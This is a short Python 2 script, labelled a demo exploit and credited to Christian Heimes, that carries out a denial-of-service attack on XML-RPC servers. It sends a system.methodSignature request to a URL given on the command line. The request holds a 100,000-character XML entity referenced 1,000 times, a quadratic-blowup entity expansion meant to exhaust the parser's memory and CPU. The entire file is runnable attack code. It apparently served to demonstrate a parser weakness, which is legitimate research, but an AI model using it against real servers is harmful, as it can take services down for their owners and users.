#!/usr/bin/python
"""Demo exploit for XML-RPC DoS attack

Author: Christian Heimes
"""
from __future__ import print_function

import sys
import urllib2

if len(sys.argv) != 2:
    sys.exit("{} url".format(sys.argv[0]))

url = sys.argv[1]

xml = """<?xml version='1.0'?>
<!DOCTYPE bomb [
<!ENTITY a "VALUE">
]>
<methodCall>
<methodName>system.methodSignature</methodName>
<params>
<param>
<value><string>QUAD</string></value>
</param>
</params>
</methodCall>
"""

xml = xml.replace("VALUE", "a" * 100000)
xml = xml.replace("QUAD", "&a;" * 1000)

headers = {"Content-Type": "text/xml", "Content-Length": len(xml)}

req = urllib2.Request(url, data=xml, headers=headers)

print("Sending request to {}".format(url))

resp = urllib2.urlopen(req)

print("Response")
print(resp.read())
